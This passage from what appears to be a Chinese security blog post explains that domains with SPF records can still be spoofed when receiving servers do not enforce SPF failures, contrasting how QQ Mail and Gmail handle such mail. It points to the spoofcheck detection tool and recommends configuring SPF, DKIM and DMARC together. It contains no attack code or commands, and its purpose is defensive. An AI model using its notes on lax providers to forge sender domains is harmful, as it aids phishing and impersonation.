    经过测试,如果收信服务器对SPF校验不通过的邮件未作处理,仍然可以伪造添加过SPF记录的域。如QQ邮箱检查SPF失败就直接拒绝接收邮件,但是gmail仍然接收。这里要注意一点,SPF中如果配置为~all,则表示为接受来信,但是做标记,QQ邮箱里就会接收到此类伪造的邮件,但是回放置于垃圾邮件里。

    0x04 如何检测?

    这里有一个工具可以用来检测域名是否可以被伪造:spoofcheck,使用很简单,比如baidu:
    1539074907929.png

    0x05 如何解决?

    为了使得域名不会被伪造,需要为域名正确配置SPFDKIMDMARC。只配置SPF是不行的,关于SPF的配置可以参考这里,关于DKIM的配置,可以看这里,关于DMARC的配置可以参考这里

    0x06 参考

    1、https://www.jianshu.com/p/610d9bf0ae8b
    2、http://lomu.me/post/SPF-DKIM-DMARC-PTR
    3、https://serverfault.com/questions/318334/how-to-enforce-sender-address-to-be-logged-in-userexample-org-in-postfix
    4、https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/
    5、https://realtechtalk.com/Postfix_how_to_secure_outgoing_authenticated_emails_for_privacy_and_hide_the_IP_address_mailer_and_other_things-1573-articles